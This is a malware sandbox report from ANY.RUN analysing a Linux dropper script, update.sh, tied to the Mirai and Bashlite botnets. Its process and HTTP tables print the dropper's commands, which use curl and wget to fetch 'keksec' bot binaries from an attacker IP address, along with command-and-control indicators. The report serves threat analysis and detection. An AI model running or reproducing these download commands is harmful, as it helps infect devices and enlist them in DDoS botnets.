File name:

update.sh

Full analysis: https://app.any.run/tasks/430a267b-8034-40e9-b722-3695c9c2243a
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Analysis date: December 26, 2024, 08:52:11
OS: Ubuntu 22.04.2 LTS
Tags:
opendir
mirai
botnet
bashlite
ddos
gafygt
Indicators:
MIME: text/x-shellscript
File info: POSIX shell script, ASCII text executable, with very long lines (333)
MD5:

DDD754DB8F4A0B159BF2C59ADB9BA96C

SHA1:

B7DCABF6AF5C902B674613DE16A5DC948CD57C27

SHA256:

070C4370D10D24814AE499F63AE3E0DD568294C8923E1D8989CB27740B8EF9D3

SSDEEP:

24:9K8xTXIButQsUj2QkmZmg3KMaudgdpeKpLcgEyaMdAldf59lmspsaofl4Je3tJev:9/pW2QoWqSPVUfl4JgJ63490hT/Ku9o0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • busybox (PID: 38815)
      • keksec.x86 (PID: 38921)
    • BASHLITE has been detected (SURICATA)

      • keksec.x86 (PID: 38921)
    • Connects to the CnC server

      • keksec.x86 (PID: 38921)
  • SUSPICIOUS

    • Uses wget to download content

      • dash (PID: 38765)
    • Modifies file or directory owner

      • sudo (PID: 38761)
    • Connects to the server without a host name

      • wget (PID: 38806)
      • busybox (PID: 38815)
      • busybox (PID: 38883)
      • wget (PID: 38847)
      • busybox (PID: 38848)
      • curl (PID: 38890)
      • wget (PID: 38916)
      • wget (PID: 38880)
      • busybox (PID: 38917)
      • wget (PID: 38949)
      • wget (PID: 38981)
      • busybox (PID: 38982)
      • wget (PID: 39012)
      • busybox (PID: 38950)
      • wget (PID: 39044)
      • busybox (PID: 39013)
      • busybox (PID: 39045)
      • wget (PID: 39082)
      • busybox (PID: 39115)
      • wget (PID: 39114)
      • wget (PID: 39145)
      • busybox (PID: 39146)
      • curl (PID: 39184)
      • busybox (PID: 39213)
      • wget (PID: 39212)
      • curl (PID: 39018)
      • curl (PID: 39088)
      • busybox (PID: 39083)
      • busybox (PID: 39179)
      • wget (PID: 39178)
    • Reads /proc/mounts (likely used to find writable filesystems)

      • curl (PID: 38890)
      • curl (PID: 39018)
      • curl (PID: 39088)
      • curl (PID: 39184)
    • Gets active network interfaces

      • dash (PID: 38765)
    • Potential Corporate Privacy Violation

      • curl (PID: 38890)
      • busybox (PID: 38917)
      • wget (PID: 38916)
    • Reads network configuration

      • dash (PID: 38765)
    • Contacting a server suspected of hosting an CnC

      • keksec.x86 (PID: 38921)
    • Executes the "rm" command to delete files or directories

      • dash (PID: 38765)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
356
Monitored processes
147
Malicious processes
21
Suspicious processes
4

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs dash no specs locale-check no specs snap no specs snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs busybox no specs wget nm-dispatcher no specs dash no specs #MIRAI busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget systemctl no specs busybox systemctl no specs systemctl no specs chmod no specs dash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs systemctl no specs busybox no specs wget busybox chmod no specs keksec.x86 no specs rm no specs snap no specs keksec.x86 no specs snap-seccomp no specs #BASHLITE keksec.x86 snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs curl snap-seccomp no specs snap-confine no specs snap-confine no specs busybox no specs wget busybox chmod no specs dash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
38760/bin/sh -c "sudo chown user /home/user/Desktop/update\.sh && chmod +x /home/user/Desktop/update\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/update\.sh "/usr/bin/dashany-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38761sudo chown user /home/user/Desktop/update.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38762chown user /home/user/Desktop/update.sh/usr/bin/chownsudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38763chmod +x /home/user/Desktop/update.sh/usr/bin/chmoddash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38764sudo -iu user /home/user/Desktop/update.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38765/bin/sh /home/user/Desktop/update.sh/usr/bin/dashsudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38766/usr/bin/locale-check C.UTF-8/usr/bin/locale-checkdash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38767curl http://179.43.172.120/bins/keksec.mips -O/snap/snapd/20290/usr/bin/snapdash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38781/snap/snapd/20290/usr/lib/snapd/snap-seccomp version-info/snap/snapd/20290/usr/lib/snapd/snap-seccompsnap
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38788/snap/snapd/20290/usr/lib/snapd/snap-confine --base core20 snap.curl.curl /usr/lib/snapd/snap-exec curl http://179.43.172.120/bins/keksec.mips -O/snap/snapd/20290/usr/lib/snapd/snap-confine
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
38916wget/tmp/keksec.x86binary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
57
TCP/UDP connections
51
DNS requests
13
Threats
60

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
37.19.194.81:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
GET
37.19.194.81:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
GET
91.189.91.96:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
91.189.91.96:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
185.125.190.17:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
404
179.43.172.120:80
http://179.43.172.120/bins/keksec.mips
unknown
unknown
488
NetworkManager
GET
204
185.125.190.98:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
38815
busybox
GET
404
179.43.172.120:80
http://179.43.172.120/bins/keksec.mips
unknown
unknown
38806
wget
GET
404
179.43.172.120:80
http://179.43.172.120/bins/keksec.mips
unknown
unknown
GET
404
179.43.172.120:80
http://179.43.172.120/bins/keksec.mpsl
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
185.125.190.17:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
91.189.91.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
unknown
484
avahi-daemon
224.0.0.251:5353
unknown
169.150.255.184:443
odrs.gnome.org
GB
whitelisted
179.43.172.120:80
Private Layer INC
CH
unknown
488
NetworkManager
185.125.190.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
38806
wget
179.43.172.120:80
Private Layer INC
CH
unknown
38815
busybox
179.43.172.120:80
Private Layer INC
CH
unknown
1178
snap-store
207.211.211.27:443
odrs.gnome.org
US
whitelisted
1178
snap-store
212.102.56.178:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.96
  • 91.189.91.48
  • 185.125.190.18
  • 91.189.91.98
  • 91.189.91.97
  • 185.125.190.17
  • 185.125.190.98
  • 185.125.190.48
  • 91.189.91.49
  • 185.125.190.49
  • 185.125.190.97
  • 185.125.190.96
  • 2620:2d:4000:1::2a
  • 2620:2d:4002:1::196
  • 2001:67c:1562::23
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::2b
  • 2001:67c:1562::24
  • 2620:2d:4000:1::96
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::197
whitelisted
odrs.gnome.org
  • 169.150.255.184
  • 169.150.255.181
  • 212.102.56.178
  • 195.181.170.19
  • 207.211.211.27
  • 37.19.194.81
  • 195.181.175.41
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::21
whitelisted
google.com
  • 142.250.186.174
  • 2a00:1450:4001:80b::200e
whitelisted
112.100.168.192.in-addr.arpa
unknown
api.snapcraft.io
  • 185.125.188.54
  • 185.125.188.58
  • 185.125.188.55
  • 185.125.188.59
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::6d
whitelisted

Threats

PID
Process
Class
Message
38815
busybox
A Network Trojan was detected
AV INFO Possible Mirai .mips Executable Download
38815
busybox
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
38815
busybox
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
38815
busybox
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
38815
busybox
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
38880
wget
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
38880
wget
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
38880
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .sh4 File
38880
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .sh4 File
38883
busybox
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .sh4 File
6 ETPRO signatures available at the full report
No debug info